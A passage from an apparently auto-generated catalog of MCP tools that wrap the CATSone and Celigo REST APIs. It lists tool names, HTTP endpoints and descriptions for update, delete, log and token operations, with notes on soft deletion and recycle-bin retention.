catsone_put_candidates_work_history_by_id (write) — Update a candidate work history item via PUT /candidates/work_history/{id}. PUT /api/v1/catsone/candidates/work_history/{id}. Scopes: api. catsone_put_companies_by_company_id_custom_fields_by_custom_field_id (write) — Update a company custom field via PUT /companies/{company_id}/custom_fields/{custom_field_id}. PUT /api/v1/catsone/companies/{company_id}/custom_fields/{custom_field_id}. Scopes: api. catsone_put_companies_by_company_id_phones_by_id (write) — Update a company phone via PUT /companies/{company_id}/phones/{id}. PUT /api/v1/catsone/companies/{company_id}/phones/{id}. Scopes: api. catsone_put_companies_by_company_id_tags (write) — Attach company tags via PUT /companies/{company_id}/tags. PUT /api/v1/catsone/companies/{company_id}/tags. Scopes: api. catsone_put_companies_by_id (write) — Update a company via PUT /companies/{id}. PUT /api/v1/catsone/companies/{id}. Scopes: api. catsone_put_companies_by_id_thumbnail (write) — Change a company thumbnail via PUT /companies/{id}/thumbnail. PUT /api/v1/catsone/companies/{id}/thumbnail. Scopes: api. catsone_put_companies_departments_by_department_id (write) — Update department via PUT /companies/departments/{department_id}. PUT /api/v1/catsone/companies/departments/{department_id}. Scopes: api. catsone_put_contacts_by_contact_id_custom_fields_by_custom_field_id (write) — Update a contact custom field via PUT /contacts/{contact_id}/custom_fields/{custom_field_id}. PUT /api/v1/catsone/contacts/{contact_id}/custom_fields/{custom_field_id}. Scopes: api. catsone_put_contacts_by_contact_id_emails_by_id (write) — Update a contact email via PUT /contacts/{contact_id}/emails/{id}. PUT /api/v1/catsone/contacts/{contact_id}/emails/{id}. Scopes: api. catsone_put_contacts_by_contact_id_phones_by_id (write) — Update a contact phone via PUT /contacts/{contact_id}/phones/{id}. PUT /api/v1/catsone/contacts/{contact_id}/phones/{id}. Scopes: api. catsone_put_contacts_by_contact_id_tags (write) — Attach contact tags via PUT /contacts/{contact_id}/tags. PUT /api/v1/catsone/contacts/{contact_id}/tags. Scopes: api. catsone_put_contacts_by_id (write) — Update a contact via PUT /contacts/{id}. PUT /api/v1/catsone/contacts/{id}. Scopes: api. catsone_put_contacts_by_id_thumbnail (write) — Change a contact thumbnail via PUT /contacts/{id}/thumbnail. PUT /api/v1/catsone/contacts/{id}/thumbnail. Scopes: api. catsone_put_jobs_by_id (write) — Update a job via PUT /jobs/{id}. PUT /api/v1/catsone/jobs/{id}. Scopes: api. catsone_put_jobs_by_job_id_custom_fields_by_custom_field_id (write) — Update a job custom field via PUT /jobs/{job_id}/custom_fields/{custom_field_id}. PUT /api/v1/catsone/jobs/{job_id}/custom_fields/{custom_field_id}. Scopes: api. catsone_put_jobs_by_job_id_tags (write) — Attach job tags via PUT /jobs/{job_id}/tags. PUT /api/v1/catsone/jobs/{job_id}/tags. Scopes: api. catsone_put_pipelines_by_id (write) — Update a pipeline via PUT /pipelines/{id}. PUT /api/v1/catsone/pipelines/{id}. Scopes: api. catsone_put_portals_by_portal_id_jobs_by_job_id (write) — Publish portal job via PUT /portals/{portal_id}/jobs/{job_id}. PUT /api/v1/catsone/portals/{portal_id}/jobs/{job_id}. Scopes: api. catsone_put_tasks_by_id (write) — Update a task via PUT /tasks/{id}. PUT /api/v1/catsone/tasks/{id}. Scopes: api. catsone_put_work_history_by_work_history_id (write) — History update a work history via PUT /work_history/{work_history_id}. PUT /api/v1/catsone/work_history/{work_history_id}. Scopes: api. ================================================================================ ## Celigo URL: https://www.agenticfabriq.com/integrations/celigo Section: Integrated Tools Celigo — 456 MCP tools Provider key: celigo. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. celigo_delete_v1_agents_by_id (write, destructive) — Delete an on-premise agent -- Deletes an on-premise agent. Soft-deleted and retained in the recycle bin for 30 days. Does not uninstall the agent software on the host. Connections using this agent's `_agentId` will block deletion with 422 — check dependencies first. via DELETE /v1/agents/{_id} DELETE /api/v1/celigo/v1/agents/{_id}. Scopes: api. celigo_delete_v1_apis_by_id (write, destructive) — Delete an API -- Deletes an API. Soft-deleted and retained in the recycle bin for 30 days. The public endpoint stops responding immediately. The delete succeeds even with dependents, but those resources will break -- check `GET /v1/apis/{_id}/dependencies` first. via DELETE /v1/apis/{_id} DELETE /api/v1/celigo/v1/apis/{_id}. Scopes: api. celigo_delete_v1_apis_by_id_requests (write, destructive) — Delete API request logs in a date range -- Queues asynchronous deletion of stored request log payloads for the API within `[startedAt, endAt]`. Returns `202 Accepted`; cleanup runs in the background. Requires manage access for log deletion — monitor-level users receive `403`. via DELETE /v1/apis/{_id}/requests DELETE /api/v1/celigo/v1/apis/{_id}/requests. Scopes: api. celigo_delete_v1_ashares_by_id (write, destructive) — Delete a user -- Remove a user from the current account. This is irreversible — for a reversible alternative, use `PUT /v1/ashares/{_id}/disable`. Works on both accepted and pending invites. via DELETE /v1/ashares/{_id} DELETE /api/v1/celigo/v1/ashares/{_id}. Scopes: api. celigo_delete_v1_asynchelpers_by_id (write, destructive) — Delete an async helper -- Deletes an async helper. The resource is soft-deleted and retained in the recycle bin for 30 days before permanent removal. If other resources reference this async helper (e.g. exports, flows), the delete is blocked — use `GET /v1/asynchelpers/{_id}/dependencies` to discover dependents first. via DELETE /v1/asynchelpers/{_id} DELETE /api/v1/celigo/v1/asynchelpers/{_id}. Scopes: api. celigo_delete_v1_by_resourcetype_by_resourceid_state (write, destructive) — Delete all state keys for a resource -- Deletes **all** state keys and values stored under the specified resource. This is destructive and cannot be undone. Prefer `DELETE /v1/{resourceType}/{_resourceId}/state/{key}` to remove individual keys. via DELETE /v1/{resourceType}/{_resourceId}/state DELETE /api/v1/celigo/v1/{resourceType}/{_resourceId}/state. Scopes: api. celigo_delete_v1_by_resourcetype_by_resourceid_state_by_key (write, destructive) — Delete a resource-scoped state key -- Deletes a specific state key and its value from the resource. Returns `404` if the key does not exist. via DELETE /v1/{resourceType}/{_resourceId}/state/{key} DELETE /api/v1/celigo/v1/{resourceType}/{_resourceId}/state/{key}. Scopes: api. celigo_delete_v1_connections_by_id (write, destructive) — Delete a connection -- Deletes a connection. The connection is soft-deleted and retained in the recycle bin for 30 days before permanent removal. Use `POST /v1/recycleBinTTL/connections/{_id}` to restore it during that window. via DELETE /v1/connections/{_id} DELETE /api/v1/celigo/v1/connections/{_id}. Scopes: api. celigo_delete_v1_connections_by_id_debug (write, destructive) — Clear the debug log buffer for a connection -- Purges the connection's debug log buffer. Subsequent `GET /v1/connections/{_id}/debug` calls return empty until new traffic is captured (assuming `debugDate` is still in the future). Idempotent — works whether the buffer held entries, was already empty, or the given connection id does not exist. Does **not** clear the connection's `debugDate` — debug capture remains enabled until `debugDate` expires or is removed via a PUT. Useful between test runs to isolate logs for a single scenario. To fully disable debug capture, also `PUT /v1/connections/{_id}` with `debugDate` removed from the body. via DELETE /v1/connections/{_id}/debug DELETE /api/v1/celigo/v1/connections/{_id}/debug. Scopes: api. celigo_delete_v1_connectors_by_id (write, destructive) — Delete a connector -- Deletes a connector. This does not affect existing installations. **Partner-only endpoint.** via DELETE /v1/connectors/{_id} DELETE /api/v1/celigo/v1/connectors/{_id}. Scopes: api. celigo_delete_v1_connectors_by_id_licenses_by_licenseid (write, destructive) — Delete a license -- Deletes a license for a connector. **Partner-only endpoint.** via DELETE /v1/connectors/{_id}/licenses/{_licenseId} DELETE /api/v1/celigo/v1/connectors/{_id}/licenses/{_licenseId}. Scopes: api. celigo_delete_v1_ediprofiles_by_id (write, destructive) — Delete an EDI profile -- Deletes an EDI profile. Soft-deleted and retained for 30 days. via DELETE /v1/ediprofiles/{_id} DELETE /api/v1/celigo/v1/ediprofiles/{_id}. Scopes: api. celigo_delete_v1_endusers_by_ashareid (write, destructive) — Revoke an end user -- Soft-deletes the end-user access record and clears its group memberships. Any workspace access record the same person holds is unaffected. Requires account owner or administrator access. via DELETE /v1/endusers/{_ashareId} DELETE /api/v1/celigo/v1/endusers/{_ashareId}. Scopes: api. celigo_delete_v1_exports_by_id (write, destructive) — Delete an export -- Deletes an export. The export is soft-deleted and retained in the recycle bin for 30 days before permanent removal. If the export is currently in use by any flows, those flows may fail until reconfigured. via DELETE /v1/exports/{_id} DELETE /api/v1/celigo/v1/exports/{_id}. Scopes: api. celigo_delete_v1_filedefinitions_by_id (write, destructive) — Delete a file definition -- Soft-deletes a file definition. Retained in the recycle bin for 30 days. via DELETE /v1/filedefinitions/{_id} DELETE /api/v1/celigo/v1/filedefinitions/{_id}. Scopes: api. celigo_delete_v1_flows_by_id (write, destructive) — Delete a flow -- Deletes a flow. Soft-deleted and retained in the recycle bin for 30 days. Scheduled executions are stopped and any running jobs are cancelled. Check `GET /v1/flows/{_id}/dependencies` first — if other resources reference this flow, the delete is blocked. Soft-deleted flows can be restored via the recycle bin endpoints within 30 days. via DELETE /v1/flows/{_id} DELETE /api/v1/celigo/v1/flows/{_id}. Scopes: api. celigo_delete_v1_flows_by_id_by_stepid_requests (write, destructive) — Delete stored HTTP request/response traces by key -- Permanently removes specific stored request+response pairs from the per-step trace cache. Despite the un-parameterized path, this is **not** a blanket purge — the request body must name the exact `reqAndResKey` values to delete (from the errors listing). After deletion, subsequent calls to `GET .../requests/{reqAndResKey}` for the deleted keys fail with `file_not_found`. The live API **requires `Content-Type: application/json`** plus a non-empty `keys[]` array. A request with no body, `{}`, or `{keys: []}` rejects with 400 `invalid_url` / `"keys is not valid."`. The underlying error record in `GET .../errors` remains after deletion, but its `reqAndResKey` pointer will dangle. There is no single "purge all" call — enumerate current errors and collect all `reqAndResKey` values to clear the full cache. via DELETE /v1/flows/{_id}/{_stepId}/requests DELETE /api/v1/celigo/v1/flows/{_id}/{_stepId}/requests. Scopes: api. celigo_delete_v1_flows_by_id_by_stepid_resolved (write, destructive) — Permanently delete resolved errors -- Permanently removes resolved error records from the account. Use when the retention window hasn't expired yet but you want to clear out the resolved list (e.g. after a one-time cleanup pass). Only resolved errors can be deleted through this endpoint — open errors must be resolved first. This is destructive: the records and their associated HTTP request/response captures are permanently removed. The request body field is named `errors` (carrying error ids). To clear the whole resolved list without listing ids, send `selectAll: true` with a `lastErrorAt` high-water mark instead of `errors` — note that here `lastErrorAt` bounds each record's `resolvedAt`, not `occurredAt`. via DELETE /v1/flows/{_id}/{_stepId}/resolved DELETE /api/v1/celigo/v1/flows/{_id}/{_stepId}/resolved. Scopes: api. celigo_delete_v1_flows_by_id_logs (write, destructive) — Delete execution logs for a flow within a time range -- Asynchronously deletes execution-log entries for the flow that fall within the specified time range. Returns `202 Accepted` with an empty body — the deletion runs in the background. Both `startedAt` and `endAt` are required query parameters and must be valid ISO 8601 datetime strings. `startedAt` must be strictly before `endAt`; the server returns `400 invalid_query_params` otherwise. This is a destructive, irreversible operation. The 202 response does not include a job id; there is no way to poll for completion. via DELETE /v1/flows/{_id}/logs DELETE /api/v1/celigo/v1/flows/{_id}/logs. Scopes: api. celigo_delete_v1_groups_by_id (write, destructive) — Delete a group -- Soft-deletes the group and removes the corresponding membership entry from every end user in the account. Requires account owner or administrator access. via DELETE /v1/groups/{_id} DELETE /api/v1/celigo/v1/groups/{_id}. Scopes: api. celigo_delete_v1_httpconnectors_by_id (write, destructive) — Delete an HTTP connector -- Permanently deletes an HTTP Connector and all its child resources and endpoints. via DELETE /v1/httpconnectors/{_id} DELETE /api/v1/celigo/v1/httpconnectors/{_id}. Scopes: api. celigo_delete_v1_iclients_by_id (write, destructive) — Delete an iClient -- Permanently deletes an iClient. Blocked if the iClient is still referenced by a connection. via DELETE /v1/iclients/{_id} DELETE /api/v1/celigo/v1/iclients/{_id}. Scopes: api. celigo_delete_v1_imports_by_id (write, destructive) — Delete an import -- Deletes an import. The import is soft-deleted and retained in the recycle bin for 30 days before permanent removal. If the import is currently in use by any flows, those flows may fail until reconfigured. Celigo documents this same endpoint on 3 resource pages: imports (deleteImport) plus ai-agents (deleteAiAgent), guardrails (deleteGuardrail). They are one HTTP operation -- the resource kind is selected by the request body, not by a distinct path. via DELETE /v1/imports/{_id} DELETE /api/v1/celigo/v1/imports/{_id}. Scopes: api. celigo_delete_v1_integrations_by_id (write, destructive) — Delete an integration -- Deletes an integration. The integration is soft-deleted and retained in the recycle bin for 30 days before permanent removal. via DELETE /v1/integrations/{_id} DELETE /api/v1/celigo/v1/integrations/{_id}. Scopes: api. celigo_delete_v1_integrations_by_id_connections_by_connectionid_register (write, destructive) — Unregister a connection from an integration -- Removes a connection's registration from the integration. This does not delete the connection itself -- it only removes it from the integration's registered-connections list. via DELETE /v1/integrations/{_id}/connections/{_connectionId}/register DELETE /api/v1/celigo/v1/integrations/{_id}/connections/{_connectionId}/register. Scopes: api. celigo_delete_v1_integrations_by_id_lookupcaches_by_lookupcacheid_register (write, destructive) — Unregister a lookup cache from an integration -- Removes a lookup cache's registration from the integration. This does not delete the lookup cache itself — it only removes it from the integration's `_registeredLookupCacheIds` list. Fails when the cache is not registered on the integration, when a flow step in the integration still references it, or when an alias on the integration (or one of its flows) still points at it — including the alias that registration itself created. Remove the flow-step references and the alias (update the `aliases` array on the integration or flow) first, then retry. via DELETE /v1/integrations/{_id}/lookupcaches/{_lookupCacheId}/register DELETE /api/v1/celigo/v1/integrations/{_id}/lookupcaches/{_lookupCacheId}/register. Scopes: api. celigo_delete_v1_jobs_by_id_files (write, destructive) — Purge a job's stored files -- Deletes **all** file artifacts associated with the job (exported rows, error-record dumps, page-processor artifacts, etc.) from underlying storage. After a successful call, `GET /v1/jobs/{_id}` will show an empty `files[]` array and `POST /v1/jobs/{_id}/files/signedURL` will return `204 No Content`. The job record itself is retained -- only the files are purged. This is irreversible. The platform also purges files automatically at `purgeAt` / `clickhousePurgeAt`; manual purge is only needed for storage-quota management or compliance workflows. via DELETE /v1/jobs/{_id}/files DELETE /api/v1/celigo/v1/jobs/{_id}/files. Scopes: api. celigo_delete_v1_lookupcaches_by_id (write, destructive) — Delete a lookup cache -- Soft-deletes a lookup cache and all its data. Retained for 30 days before permanent removal. To clear data without deleting the cache itself, use `DELETE /v1/lookupcaches/{_id}/data/purge` instead. via DELETE /v1/lookupcaches/{_id} DELETE /api/v1/celigo/v1/lookupcaches/{_id}. Scopes: api. celigo_delete_v1_lookupcaches_by_id_data (write, destructive) — Delete specific keys from a lookup cache -- Removes named keys from a lookup cache. Send the keys to delete in the request body. To wipe every entry instead, call `DELETE /v1/lookupcaches/{_id}/data/purge`. Send the request with `Content-Type: application/json`. The body must be a JSON object with a `keys` property; a request with no body is rejected as `missing_parameter`. The response reports `success: true` for every submitted key, including keys that did not exist in the cache. via DELETE /v1/lookupcaches/{_id}/data DELETE /api/v1/celigo/v1/lookupcaches/{_id}/data. Scopes: api. celigo_delete_v1_lookupcaches_by_id_data_purge (write, destructive) — Purge all data from a lookup cache -- Removes every entry from a lookup cache. The cache itself is preserved — only its contents are cleared. Use this instead of deleting-and-recreating when you want to keep the cache's `_id`, name, and any references from flows intact. This operation is irreversible. To delete a subset of keys, use `DELETE /v1/lookupcaches/{_id}/data` with a `keys` body. via DELETE /v1/lookupcaches/{_id}/data/purge DELETE /api/v1/celigo/v1/lookupcaches/{_id}/data/purge. Scopes: api. celigo_delete_v1_mcpoauthproviders_by_id (write, destructive) — Delete an MCP OAuth provider -- Deletes an MCP OAuth provider. MCP servers referencing this provider via `_mcpOAuthProviderId` will lose their OAuth configuration. via DELETE /v1/mcpoauthproviders/{_id} DELETE /api/v1/celigo/v1/mcpoauthproviders/{_id}. Scopes: api. celigo_delete_v1_mcpservers_by_id (write, destructive) — Delete an MCP server -- Soft-deletes an MCP server. Retained in the recycle bin for 30 days before permanent removal. via DELETE /v1/mcpservers/{_id} DELETE /api/v1/celigo/v1/mcpservers/{_id}. Scopes: api. celigo_delete_v1_recyclebinttl_by_resourcetype_by_id (write, destructive) — Permanently delete a resource -- Permanently purges a resource from the recycle bin. This action cannot be undone — the resource data is irrecoverably removed. Resources are auto-purged after 30 days. via DELETE /v1/recycleBinTTL/{_resourceType}/{_id} DELETE /api/v1/celigo/v1/recycleBinTTL/{_resourceType}/{_id}. Scopes: api. celigo_delete_v1_roles_by_id (write, destructive) — Delete a role -- Soft-deletes the role and removes it from the `_roleIds` of every group in the account. Requires account owner or administrator access. via DELETE /v1/roles/{_id} DELETE /api/v1/celigo/v1/roles/{_id}. Scopes: api. celigo_delete_v1_scripts_by_id (write, destructive) — Delete a script -- Deletes a script. Soft-deleted and retained in the recycle bin for 30 days. via DELETE /v1/scripts/{_id} DELETE /api/v1/celigo/v1/scripts/{_id}. Scopes: api. celigo_delete_v1_scripts_by_id_logs (write, destructive) — Delete debug logs for a script -- Deletes all debug logs for the specified script. Synchronous and idempotent — works even if the script has no logs. via DELETE /v1/scripts/{_id}/logs DELETE /api/v1/celigo/v1/scripts/{_id}/logs. Scopes: api. celigo_delete_v1_stacks_by_id (write, destructive) — Delete a stack -- Deletes a stack. Soft-deleted and retained in the recycle bin for 30 days. via DELETE /v1/stacks/{_id} DELETE /api/v1/celigo/v1/stacks/{_id}. Scopes: api. celigo_delete_v1_stacks_by_id_systemtoken (write, destructive) — Recycle stack system token (server stacks only) -- Rotates (recycles) the server stack's system token. The old token is immediately invalidated. Retrieve the new token via `GET /v1/stacks/{_id}/systemToken`. via DELETE /v1/stacks/{_id}/systemToken DELETE /api/v1/celigo/v1/stacks/{_id}/systemToken. Scopes: api. celigo_delete_v1_state (write, destructive) — Delete all global state keys -- Deletes **all** global state keys and their values. This is a destructive operation and cannot be undone. Prefer `DELETE /v1/state/{key}` to remove individual keys. via DELETE /v1/state DELETE /api/v1/celigo/v1/state. Scopes: api. celigo_delete_v1_state_by_key (write, destructive) — Delete a global state key -- Deletes a specific global state key and its value. Returns `404` if the key does not exist. via DELETE /v1/state/{key} DELETE /api/v1/celigo/v1/state/{key}. Scopes: api. celigo_delete_v1_storage_items_by_id (write, destructive) — Delete an item -- Soft-deletes a file or folder to the recycle bin, where it is retained for 30 days and can be restored with `POST /v1/storage/items/{_id}/restore`. Deleting a folder also removes its entire subtree; the folder is removed immediately and its descendants follow asynchronously. Delete is never blocked by references — flows, exports, imports, and tokens that point at the item are left dangling and fail at runtime, so check `GET /v1/storage/items/{_id}/dependencies` first. A pending multipart upload cannot be deleted here — cancel it with `POST /v1/storage/files/{_id}/cancel`. via DELETE /v1/storage/items/{_id} DELETE /api/v1/celigo/v1/storage/items/{_id}. Scopes: api. celigo_delete_v1_storage_items_by_id_purge (write, destructive) — Purge an item -- Permanently deletes a soft-deleted item from the recycle bin and frees its storage. This cannot be undone. Purging a folder also purges its descendants; the folder and its subtree are removed asynchronously. Only items deleted directly can be purged — a descendant removed by its parent's deletion is purged together with that parent. The item must already be in the recycle bin. via DELETE /v1/storage/items/{_id}/purge DELETE /api/v1/celigo/v1/storage/items/{_id}/purge. Scopes: api. celigo_delete_v1_syncs_by_id (write, destructive) — Delete a sync -- Deletes a sync and tears down its replication resources, including its datasets. The sync must be disabled first — deleting an enabled sync fails with `400 sync_delete_not_allowed`. Syncs are not recoverable through the recycle bin. via DELETE /v1/syncs/{_id} DELETE /api/v1/celigo/v1/syncs/{_id}. Scopes: api. celigo_delete_v1_tags_by_id (write, destructive) — Delete a tag -- Permanently deletes a tag from the account's tag catalog. via DELETE /v1/tags/{_id} DELETE /api/v1/celigo/v1/tags/{_id}. Scopes: api. celigo_delete_v1_templates_by_id (write, destructive) — Delete a template -- Permanently deletes a template. via DELETE /v1/templates/{_id} DELETE /api/v1/celigo/v1/templates/{_id}. Scopes: api. celigo_delete_v1_tools_by_id (write, destructive) — Delete a tool -- Deletes a tool. Soft-deleted and retained in the recycle bin for 30 days. Fails with 422 if other resources (MCP servers, access tokens) still reference this tool — call `GET /v1/tools/{_id}/dependencies` first to check. via DELETE /v1/tools/{_id} DELETE /api/v1/celigo/v1/tools/{_id}. Scopes: api. celigo_delete_v1_tpconnectors_by_id (write, destructive) — Delete a trading partner connector -- Soft-deletes a trading partner connector. via DELETE /v1/tpconnectors/{_id} DELETE /api/v1/celigo/v1/tpconnectors/{_id}. Scopes: api. celigo_get_api_httpconnectors_by_id_catalog (read) — Get form metadata catalog -- Returns projected resource and endpoint summaries for one import or export plane. Import catalogs may include derived `ignoreExisting`, `ignoreMissing`, and `isIdentifierPresent` flags on endpoints. Export catalogs return endpoint `{ id, name }` only. Published-only requests may be served from the MongoDB catalog cache and include an `X-Catalog-Cache` response header. via GET /api/httpconnectors/{_id}/catalog GET /api/v1/celigo/api/httpconnectors/{_id}/catalog. Scopes: api. celigo_get_api_httpconnectors_by_id_resourceendpointdetail (read) — Get resource and endpoint detail -- Returns scoped `httpConnectorResource` and `httpConnectorEndpoint` documents for a single export/import endpoint, or a paired import create/update batch. Lookup endpoints may be inlined when they are published and belong to the same connector. `endpointId` and `endpointIds` are mutually exclusive; `endpointIds` is only valid when `resourceType` is `import` and must contain exactly two comma-separated ObjectIds. Composite `id1+id2` values are rejected. via GET /api/httpconnectors/{_id}/resourceEndpointDetail GET /api/v1/celigo/api/httpconnectors/{_id}/resourceEndpointDetail. Scopes: api. celigo_get_v1_agents (read) — List on-premise agents -- Returns all on-premise agents configured in the account. Check `offline` to determine agent health — `true` means the platform has not received a heartbeat recently. via GET /v1/agents GET /api/v1/celigo/v1/agents. Scopes: api. celigo_get_v1_agents_by_id (read) — Get an on-premise agent -- Returns a single on-premise agent. via GET /v1/agents/{_id} GET /api/v1/celigo/v1/agents/{_id}. Scopes: api. celigo_get_v1_agents_by_id_dependencies (read) — List dependencies of an agent -- Returns resources that depend on this agent. Keys are resource types (e.g. `connections`); values are arrays of dependency entries. Check dependencies before deleting — the DELETE endpoint is blocked if dependents exist. Returns `{}` for both zero-dependency and nonexistent IDs. via GET /v1/agents/{_id}/dependencies GET /api/v1/celigo/v1/agents/{_id}/dependencies. Scopes: api. celigo_get_v1_agents_by_id_display_token (read) — Display on-premise agent access token -- Returns the current unmasked access token for an agent. The agent process needs this token to authenticate its tunnel back to integrator.io. The access token is not included in normal GET/PUT responses — this is the only way to retrieve it. via GET /v1/agents/{_id}/display-token GET /api/v1/celigo/v1/agents/{_id}/display-token. Scopes: api. celigo_get_v1_agents_by_id_installer_signedurl (read) — Get on-premise agent installer download URL -- Returns a short-lived presigned S3 URL for downloading the on-premise agent installer binary. The URL is pre-signed for roughly 15 minutes. The `os` query parameter selects which installer to return: - `linux` → `agent-linux.run` - `windows` → `agent-windows.exe` via GET /v1/agents/{_id}/installer/signedURL GET /api/v1/celigo/v1/agents/{_id}/installer/signedURL. Scopes: api. celigo_get_v1_apim_apis (read) — List APIM APIs -- Returns APIs published in the APIM platform for the account. Results are paginated with `page` and `perPage`. via GET /v1/apim/apis GET /api/v1/celigo/v1/apim/apis. Scopes: api. celigo_get_v1_apim_by_apiid_by_modelplural_by_id_view (read) — Get APIM resource view URL -- Returns a signed URL that opens a published resource in the APIM console. via GET /v1/apim/{apiId}/{modelPlural}/{_id}/view GET /api/v1/celigo/v1/apim/{apiId}/{modelPlural}/{_id}/view. Scopes: api. celigo_get_v1_apim_redirect (read) — Get APIM console redirect URL -- Returns a signed URL that opens the APIM console home page for the account. via GET /v1/apim/redirect GET /api/v1/celigo/v1/apim/redirect. Scopes: api. celigo_get_v1_apim_redirect_analytics (read) — Get APIM analytics redirect URL -- Returns a signed URL that opens the APIM analytics dashboard for the account. Optionally scope the dashboard to a time range with `from` and `to`. via GET /v1/apim/redirect/analytics GET /api/v1/celigo/v1/apim/redirect/analytics. Scopes: api. celigo_get_v1_apim_settings (read) — Get APIM settings -- Returns the APIM subdomain and service account email configured for the account. via GET /v1/apim/settings GET /api/v1/celigo/v1/apim/settings. Scopes: api. celigo_get_v1_apis (read) — List APIs -- Returns all APIs configured in the account. No pagination -- every API is returned in a single response. Legacy script-mode APIs (created before the builder/script distinction) may omit `type`, `version`, and `disabled`. A 204 response means the account has zero APIs. via GET /v1/apis GET /api/v1/celigo/v1/apis. Scopes: api. celigo_get_v1_apis_by_id (read) — Get an API -- Returns the complete configuration of a specific API. via GET /v1/apis/{_id} GET /api/v1/celigo/v1/apis/{_id}. Scopes: api. celigo_get_v1_apis_by_id_by_stepid_requests (read) — List captured requests for an API step -- Returns the set of requests captured for a single step of an API. `_stepId` identifies the step within the API's configuration. Each entry in `requests[]` is a captured request summary; follow up with `GET /v1/apis/{_id}/{_stepId}/requests/{key}` to retrieve one entry in full. An empty `requests[]` simply means nothing is currently stored for this step. via GET /v1/apis/{_id}/{_stepId}/requests GET /api/v1/celigo/v1/apis/{_id}/{_stepId}/requests. Scopes: api. celigo_get_v1_apis_by_id_by_stepid_requests_by_key (read) — Get one captured request for an API step by key -- Returns the full captured request/response envelope for one entry of an API step, looked up by the opaque `key` values surfaced in `GET /v1/apis/{_id}/{_stepId}/requests`. Matches the exact entry whose key is provided — there is no partial-match query on this endpoint. Use the `key` exactly as returned by the parent listing; do not construct one manually. A 404 means the key has expired from retention or was never captured. via GET /v1/apis/{_id}/{_stepId}/requests/{key} GET /api/v1/celigo/v1/apis/{_id}/{_stepId}/requests/{key}. Scopes: api. celigo_get_v1_apis_by_id_dependencies (read) — List dependencies of an API -- Returns the set of resources that depend on the specified resource. The response is an object whose keys are dependent-resource types (e.g. `flows`, `imports`) and whose values are arrays of dependency entries. An empty object `{}` means no other resources depend on the target -- this is also returned for a well-formatted but nonexistent id. via GET /v1/apis/{_id}/dependencies GET /api/v1/celigo/v1/apis/{_id}/dependencies. Scopes: api. celigo_get_v1_apis_by_id_logs (read) — List recent request/response logs for an API -- Returns the recent invocation traces captured for the named API. Each entry is a decoded request/response pair — masked for credentials — that the runtime stored when the API was called via its public endpoint. Use this to audit what the API has handled and to triage errors without re-invoking the API. Traces are **file-backed** with server-controlled retention and capture scope; an empty `requests[]` simply means nothing is currently stored for this API. Two invocation sources do **not** populate this log: - Test-runs via `POST /v1/apis/{_id}/test/run` never surface here. - Script-mode API invocations via `POST /v1/apis/{_id}/request` also do not surface here despite counting toward `/v1/apis/usage`. Only **builder-mode** invocations against the public endpoint (`https://api.integrator.io/apis/{version}{relativeURI}`) populate logs. List entries are **summaries** (`key`, `time`, `method`, `statusCode`) — to see the decoded request/response payload, follow up with `GET /v1/apis/{_id}/logs/{key}`. `statusCode` is returned as a string in list entries but as an integer on the detail endpoint. Credential values are masked as `********` before storage and are not recoverable. via GET /v1/apis/{_id}/logs GET /api/v1/celigo/v1/apis/{_id}/logs. Scopes: api. celigo_get_v1_apis_by_id_logs_by_key (read) — Get one request/response log entry by key -- Returns the full decoded request/response envelope for one API invocation, looked up by the opaque `key` values surfaced in `GET /v1/apis/{_id}/logs`. Matches the exact entry whose key is provided — there is no partial-match or range query on this endpoint. Unlike the parent list (which only carries `{key, time, method, statusCode}`), this endpoint returns the complete payload: request method/url/headers/body/queryParams/clientAddress, response status/headers/body/responseTime, and (for builder-mode APIs) the `inputToResponseBubble` snapshot of what the response-mapper saw. Sensitive header values (`authorization`, OAuth bearer tokens) are masked as `********` before storage. For builder APIs where the response mapper didn't produce the expected output, inspect `inputToResponseBubble.sourceRecord` to see what the response stage actually received. `response.statusCode` is an integer here but the sibling list endpoint returns it as a string. A 404 `file_not_found` means the key has expired from retention or was never captured. via GET /v1/apis/{_id}/logs/{key} GET /api/v1/celigo/v1/apis/{_id}/logs/{key}. Scopes: api. celigo_get_v1_apis_by_id_requests (read) — List API request run history (defaults to last 5 minutes) -- Returns the logged request executions for an API — one entry per inbound request captured while the API's `logging.mode` was anything other than `noLogging`. Distinct from `GET /v1/apis/{_id}/logs`, which returns the legacy file-backed request/response envelopes: use `/requests` for run history and trace drill-down, `/logs` for the raw decoded request and response of a single call. Whether requests are captured into run history depends on server-side enablement of the capture pipeline, which is separate from this read API. On accounts where capture is not active, this endpoint responds normally (including filter validation) but `requests` is empty regardless of the API's `logging.mode` — even for requests that the legacy `GET /v1/apis/{_id}/logs` (an independent capture path) does record. Results are cursor-paginated (`next`/`prev`). When `time_gte` / `time_lte` are omitted, only the last 5 minutes are returned — pass an explicit window for a broader history. Use the `executionId` from a list entry with `GET /v1/apis/{_id}/requests/{executionId}` to open the trace view for requests logged in `detailed` or `debug` mode. via GET /v1/apis/{_id}/requests GET /api/v1/celigo/v1/apis/{_id}/requests. Scopes: api. celigo_get_v1_apis_by_id_requests_by_executionid (read) — Get trace metadata for an API request execution -- Returns the top-level execution steps for the trace view of one API request. Trace data is only available for requests that were logged in `detailed` or `debug` mode (see `logMode` on the run-history entry), and only when the run-history capture pipeline is active for the account (see `GET /v1/apis/{_id}/requests`) — otherwise `steps` is empty for every execution id. A malformed `executionId` returns `422`; an unknown API `_id` returns `404`. via GET /v1/apis/{_id}/requests/{executionId} GET /api/v1/celigo/v1/apis/{_id}/requests/{executionId}. Scopes: api. celigo_get_v1_apis_by_id_requests_by_executionid_by_exporimpid_logs_by_parentrecordid_children (read) — List child records under an API trace step -- Returns the child records under a parent record within an API request trace (lookup / one-to-many expansions). Results are cursor-paginated (`next`/`prev`). via GET /v1/apis/{_id}/requests/{executionId}/{_expOrImpId}/logs/{parentRecordId}/children GET /api/v1/celigo/v1/apis/{_id}/requests/{executionId}/{_expOrImpId}/logs/{parentRecordId}/children. Scopes: api. celigo_get_v1_apis_by_id_requests_by_executionid_logs_signedurl (read) — Get a signed URL for a stored API request log payload -- Returns a short-lived signed S3 URL (about 120 seconds expiry) for the provided `s3Key` suffix, taken from an `externalReference` returned by the log-data query endpoint. The full S3 key is resolved under the execution's own log prefix, so callers can only access logs for this API and execution. via GET 